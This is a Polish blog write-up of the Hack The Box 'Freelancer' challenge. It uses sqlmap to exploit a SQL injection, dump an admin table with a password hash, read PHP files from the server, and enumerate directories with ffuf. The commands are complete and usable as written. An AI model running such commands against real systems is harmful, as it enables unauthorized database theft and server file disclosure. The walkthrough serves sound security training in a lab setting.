Od czytania bazy danych do czytania plików serwera na aplikacji Freelancer – Hack The Box

Can you test how secure my website is? Prove me wrong and capture the flag!

Na stronie głównej znajdujemy dwie interesujące komentarze w kodzie źródłowym strony. Pierwszy informuje nas o ścieżce do edycji pliku odpowiedzialnego za formularz kontaktowy, a drugi wskazuje nam linki do kolejnych podstron.

Na ten moment interesują nas linki z drugiego komentarza. Nie znajduje się pod nimi nic interesującego, poza parametrem w linku. Sprawdzamy kolejne podatności, z którymi mógłby być on związany. Do zweryfikowania podatności SQL injection, używamy narzędzia sqlmap. Po uruchomieniu informuje nas ono, że podatność została znaleziona.

...
[22:45:39] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
...

Poniższym poleceniem uzyskamy informacje o wszystkich dostępnych tabelach.

sqlmap -u http://ip:port/portfolio.php?id=1 --tables 

W taki sposób wiemy o istnieniu tabeli safeadmin. Informacje o przetrzymywanych informacjach z tabeli safeadmin otrzymamy wpisując:

sqlmap -u http://ip:port/portfolio.php?id=1 -T safeadmin --dump
Database: freelancer
Table: safeadmin
[1 entry]
+----+--------------------------------------------------------------+----------+---------------------+
| id | password                                  | username | created_at          |
+----+--------------------------------------------------------------+----------+---------------------+
| 1  | $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K | safeadm  | 2019-07-16 20:25:45 |
+----+--------------------------------------------------------------+----------+---------------------+

Zhaszowane hasło na niewiele się zda. Możemy próbować używać narzędzi pokroju John The Ripper, ale będzie to ślepa uliczka.

Zhashowane hasło nic nam nie wnosi do całości. Możemy próbować użyć narzędzi typu John The Ripper, ale to ślepa uliczka. Spróbujmy zatem sprawdzić foldery na stronie. Używamy do tego ffuf i listy słów wfuzz.

ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u https://ip:port/FUZZ
┌──(root💀7c7874811688)-[/]
└─# ffuf -w '/usr/share/wordlists/wfuzz/general/common.txt' -u http://ip:port/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://ip:port/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/wfuzz/general/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

administrat             [Status: 301, Size: 331, Words: 20, Lines: 10]
css                     [Status: 301, Size: 323, Words: 20, Lines: 10]
img                     [Status: 301, Size: 323, Words: 20, Lines: 10]
js                      [Status: 301, Size: 322, Words: 20, Lines: 10]
mail                    [Status: 301, Size: 324, Words: 20, Lines: 10]
:: Progress: [951/951] :: Job [1/1] :: 190 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

W taki sposób otrzymujemy informacje o folderze administrat. Po wejściu na wskazany link, ładuje nam się strona index.php z prostym formularzem logowania. 

Narzędzie sqlmap poza odczytywaniem bazy danych, daje nam możliwość ściągania plików z serwera. Spróbujmy zatem pobrać plik php i sprawdzić go już na naszym komputerze.

Z logów wiemy, że używany system operacyjny na stronie to  Linux Ubuntu 18.04 (bionic). Główny folder serwera powinien więc znajdować się pod ścieżką /var/www/html/. Piszę “powinien”, ponieważ jest to folder domyślny, który może zostać zmieniony. Oznacza to dla nas, że do ściągnięcia pliku wykonamy polecenie:

sqlmap -u http://ip:port//portfolio.php?id=1 --file-read=/var/www/html/administrat/index.php

Po otwarciu go, widzimy:

// Check if the user is already logged in, if yes then redirect him to welcome page
if(isset($_SESSION["loggedin"]) && $_SESSION["loggedin"] === true){
  header("location: panel.php");
  exit;
}

W pliku możemy zauważyć prosty warunek if, który zdradza nam nazwę kolejnego pliku. Analogicznie, ściągamy go na nasz komputer. Po otwarciu go, znajdujemy flagę między znacznikami h1.

Źródła

https://owasp.org/www-community/attacks/SQL_Injection
https://sqlmap.org/
https://github.com/ffuf/ffuf

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *